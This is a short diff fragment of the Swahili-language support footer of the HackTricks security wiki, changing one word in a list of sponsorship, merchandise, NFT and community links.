<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -132,7 +132,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.